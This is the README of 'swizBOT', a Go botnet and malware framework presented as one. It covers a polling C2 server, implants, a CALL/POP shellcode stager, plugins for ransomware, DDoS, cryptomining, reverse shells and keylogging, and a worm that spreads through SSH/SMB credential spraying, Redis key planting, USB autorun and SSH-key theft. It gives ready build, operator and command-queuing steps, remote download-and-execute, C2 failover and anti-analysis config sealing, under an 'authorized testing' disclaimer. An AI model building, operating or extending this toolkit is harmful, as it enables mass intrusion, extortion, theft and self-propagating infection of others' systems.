Files
2026-09-12 01:27:17 +00:00

12 KiB

swizBOT

Modular Go implant framework with a CALL/POP stager (Jake Swiz decoder technique), a polling HTTPS C2, an operator dashboard, plugin actions, and a lateral-movement worm module.

by ek0ms savi0r, Church of Malware. Decoder technique after Jake Swiz (0xXyc) / Fukahi Teki0 research.

For authorized security testing and education only.

Layout

Path What it is
cmd/c2 C2 server: implant API, operator API, WebSocket, embedded dashboard
cmd/bot Implant: beacon loop, failover, plugins dispatch, worm module
internal/plugins Action modules (ddos, miner, file encryption, reverse shell, keylogger)
stager XOR/LFSR CALL/POP stager encoder (x86/x64) + decoder listings
web dashboard sources (embedded into the c2 binary at build time)

Quick start (lab)

# build the C2 and the Linux implant
make c2 bot-linux

# self-signed cert for the TLS implant listener
openssl req -x509 -newkey rsa:4096 -keyout server.key -out server.crt \
  -days 365 -nodes -subj '/CN=localhost'

# run the C2: operator UI on :8080, implant listener (TLS) on :8443
# -token protects every operator endpoint; -bot-secret is required from implants
./bin/swizbot-c2 -token 'change-me' -bot-secret 'shared-secret'

# register an implant against it (env-driven, no rebuilds)
SWIZ_C2_URLS=https://127.0.0.1:8443 \
SWIZ_BOT_SECRET=shared-secret \
SWIZ_BOT_ID=lab-1 \
./bin/swizbot-bot-linux

# queue a command (operator API)
curl -s -H 'X-C2-Token: change-me' \
  'http://127.0.0.1:8080/command?bot_id=lab-1&cmd=exec&payload=id'

# watch the result stream in the dashboard at http://127.0.0.1:8080

For Windows targets build the GUI implant:

make bot-windows          # bin/swizbot-bot.exe (amd64, windowsgui)

Dashboard

The C2 serves a single-file dashboard (terminal theme, no external assets) on the operator listener:

  • bot list with OS/arch/IP/last-seen and live online state
  • per-type command builder (exec, download, ddos, shell, miner, ransomware, keylog, worm, kill) with broadcast mode
  • WebSocket event stream for registrations and command results, with polling fallback
  • token login screen when the C2 runs with -token

Commands

type payload behavior
exec shell command runs via cmd.exe /C or /bin/sh -c
download http(s) URL downloads to a temp file, chmod +x, executes
fetch file path pulls a file back from the implant (base64 result, 4 MB cap)
screenshot - captures the primary display (Windows build) and returns the PNG
ddos host:port method seconds udp/tcp/http flood for the given window
shell host port reverse shell loop (line protocol, auto reconnect)
miner `pool wallet [threads] [path url]`
ransomware operator RSA public key (PEM) AES-256-GCM per-file, RSA-OAEP key wrap
keylog optional log path GetAsyncKeyState logger (Windows build)
worm optional subnets CSV lateral movement module (see below)
kill - removes persistence and exits

Every command reports a result: success only when the action was actually started/completed, failed with the reason otherwise. Unknown command types are rejected, not silently ignored.

Implant configuration (environment)

variable default purpose
SWIZ_C2_URLS https://127.0.0.1:8443 comma-separated operator endpoints, tried in random order
SWIZ_BOT_ID hostname_pid implant identifier reported to the C2
SWIZ_BOT_SECRET - sent as X-Bot-Secret; required if the C2 runs -bot-secret
SWIZ_BOT_KEY - implant X25519 private key (hex); enables the sealed channel
SWIZ_C2_PUBKEY - operator X25519 public key (hex); encrypts results to the C2
SWIZ_XOR 0xaa result body obfuscation byte, must match the C2 -xor
SWIZ_INTERVAL 30s beacon interval
SWIZ_JITTER 30s random sleep added to the interval
SWIZ_BACKOFF_MAX 1h max exponential backoff when every endpoint is down
SWIZ_DNS_DOMAIN - TXT record domain checked for additional endpoints
SWIZ_P2P 0 LAN peer discovery (UDP broadcast, see docs)
SWIZ_PEER_PORT 31337 peer discovery port
SWIZ_TELEGRAM_TOKEN - dead-drop fallback (bot API token)
SWIZ_TELEGRAM_CHAT_ID - optional chat filter for the dead drop
SWIZ_LOG - log file (stderr when unset)
SWIZ_UNLOCK - passphrase that unlocks a -sealed baked config (see docs/BAKED-CONFIG.md)
SWIZ_WORM_SUBNETS - worm target subnets CSV override
SWIZ_WORM_DOWNLOAD_URL - hosted implant binary for cross-OS deployment
SWIZ_WORM_RESCAN 10m worm rescan interval

Results are cached locally when every endpoint is unreachable and flushed on the next successful contact. The XOR byte is obfuscation, not encryption: transport security comes from the TLS listener.

Baked config (compile-time)

cmd/build compiles config into the implant so a deployment is a single artifact. All values are packed into one opaque token (internal/bakepack), never injected as plaintext -ldflags -X symbols:

# obfuscated (default): no readable secrets in the binary
make payload C2_URLS=https://c2.example:8443 BOT_SECRET=s3cret OS=linux

# sealed: AES-256-GCM under a passphrase -> zero-leak artifact
make payload SEAL='correct horse battery staple' \
  C2_URLS=https://c2.example:8443 BOT_SECRET=s3cret OS=linux
# ...then run with SWIZ_UNLOCK='correct horse battery staple'

Precedence is env > baked > default. The obfuscated mode defeats strings/static triage; the sealed mode is real encryption and leaves the binary inert without SWIZ_UNLOCK. Baking secrets without -seal prints a warning. Full rationale, threat model and limits: docs/BAKED-CONFIG.md.

C2 configuration (flags)

flag default purpose
-ui :8080 operator UI/API listener
-listen :8443 implant listener (TLS)
-cert / -key server.crt / server.key TLS keypair
-insecure false plain HTTP implant listener (lab)
-tunnel none outbound tunnel: cloudflared quick tunnel in front of -ui
-token - operator token (X-C2-Token header or login cookie)
-bot-secret - secret implants must present
-bot-key - operator X25519 private key; enables the sealed bot channel
-bot-key-gen - print a fresh operator keypair and exit
-xor 0xaa result obfuscation byte
-prune-hours 24 drop bots unseen for N hours (0 disables)

Fleet pause/resume (reversible kill switch): queue cmd=pause with bot_id=* to stop all command delivery; implants slow-poll so cmd=resume reaches them. Paused state is server-side, so a resume always re-enables the fleet.

Failover layers: the implant carries the same sealed frames over an ordered channel stack (HTTPS -> DNS -> Telegram dead-drop), failing over automatically when a layer stops answering. Layer order, health/probation semantics and per-layer setup: docs/TRANSPORTS.md.

Bot endpoints are /checkin and /result; operator endpoints are /command, /list, /api/bots, /api/command, /ws, /login, and the dashboard at /.

Sealed bot channel

When the C2 runs with -bot-key and implants carry SWIZ_BOT_KEY (their own X25519 keypair) plus SWIZ_C2_PUBKEY (the operator public key), the payload layer upgrades from single-byte XOR to per-frame AEAD:

  • every checkin response (command) is sealed to the implant's registered public key; the implant opens it with its own private key;
  • every result is sealed with a fresh ephemeral X25519 key against the operator public key (forward secrecy); the C2 opens it with -bot-key;
  • tampered or wrong-key frames are rejected (GCM auth).

Generate the operator keypair once: swizbot-c2 -bot-key-gen. Distribute SWIZ_BOT_KEY per implant (or fleet) and SWIZ_C2_PUBKEY from the generator output. Without keys the channel falls back to TLS + XOR obfuscation for lab use.

Command delivery is at-least-once: an undelivered command is redelivered after 2 minutes up to 3 times and then dropped if never acknowledged.

Bot protocol

  • checkin: GET /checkin?bot_id=..&os=..&arch=.. with X-Bot-Secret; returns {"id","type","payload","target"}; an empty id means nothing is queued.
  • result: POST /result, body is the JSON result XOR-masked with the configured byte: {"bot_id","command_id","output","status"}.
  • command (operator): GET /command?... or POST /command with a JSON body {"bot_id","type","payload","target"}; bot_id=* broadcasts to every known implant.

Worm module

Activated only by the worm command (never at boot). It scans the target subnets and dispatches open ports to real deploy modules:

vector port notes
ssh 22 Go-native credential spray + stolen-key auth; stages the implant via sftp-less pipe and launches it detached
smb 445 net.exe credential spray, ADMIN$ copy, remote scheduled task (Windows build)
redis 6379 RESP config rewrite that plants an authorized SSH key (only with harvested key material; no fake keys)
web 80/443/8080/8443 sensitive-path recon; reports findings, never claims infections
usb - removable drive copy + autorun.inf + .lnk (Windows build)
shares - writable network share and public Startup copy (Windows build)
harvest - local config/log credential extraction and .ssh private-key theft feeding the spray lists

Subnets: worm payload CSV, SWIZ_WORM_SUBNETS, or the local /24. Cross-OS deployment uses SWIZ_WORM_DOWNLOAD_URL when set, otherwise the implant copies itself (same-OS spreads). Success is counted only on a verified outcome per vector. The module is exercised by unit and integration tests (Redis vector runs against a live fake RESP server in the test suite); the full spread loop is not executed on this host.

Stager

The stager prepends a position-independent CALL/POP decoder to an XOR- or LFSR-encoded raw payload:

# XOR loop decoder (x86)
python3 stager/encoder.py payload.bin out/stager.bin

# polymorphic LFSR stream, 64-bit decoder + C loader
python3 stager/encoder.py payload.bin out/stager.bin --lfsr --arch x64 --loader

# unrolled decoder, no loop instruction (payload up to 255 bytes)
python3 stager/encoder.py payload.bin out/stager.bin --noloop

# full verification: emulated decode round-trips + nasm byte parity
python3 stager/encoder.py --selftest
  • modes: xor (fixed key), lfsr (32-bit LFSR, key changes per byte), noloop (unrolled). xor/noloop payloads up to 255 bytes for noloop; loop modes up to 65535 bytes.
  • architectures: x86 and x64 (positions documented in stager/decoder_x86.asm and decoder_x64.asm, verified byte-for-byte against the emitted stubs by --selftest when nasm is available).
  • --loader writes a loader.c (VirtualAlloc RWX + memcpy + call); compile with i686- or x86_64-w64-mingw32-gcc, add -mwindows for a GUI binary.

The technique (CALL/POP, in-memory decode, execute) follows Jake Swiz's published decoder research; execution verification here is done in the instruction emulator rather than on Windows hardware.

Testing

make test                 # go test ./... (server, implant, plugins, bakepack)
make vet
make leakscan             # prove baked config is not string-recoverable
make stager-selftest      # encoder round-trips + listing parity

The test suite covers the full operator lifecycle (register, queue, deliver, result, ack, redelivery, drop), auth gates, the implant checkin/exec/result round trip against a live HTTP server, plugin behavior (ransomware AES/RSA round trip on real files, DDoS validation, miner resolution), the Redis worm vector against a live fake RESP server, subnet enumeration, the transport manager (per-layer health, probation/backoff, auto-recovery) and 20 stager decode round-trips.

docs/VERIFICATION.md records the honest surface: what is live-verified (Linux E2E, b1/b2 baked config, DNS fallback, Windows registration/exec/screenshot/persistence under Wine) versus compiled/unit-only (Telegram, P2P, SMB/USB/share, schtasks, stager on real hardware) versus deliberately not executed (the worm spread loop).

Credits

  • Jake Swiz (0xXyc) - CALL/POP XOR decoder and loader technique, PEB walking and ASLR research that this stager builds on.
  • ek0ms savi0r - Go framework, C2, dashboard, plugins, worm module.

Disclaimer

For educational purposes and authorized security testing only. The operator is responsible for compliance with applicable law and for obtaining authorization before testing any system.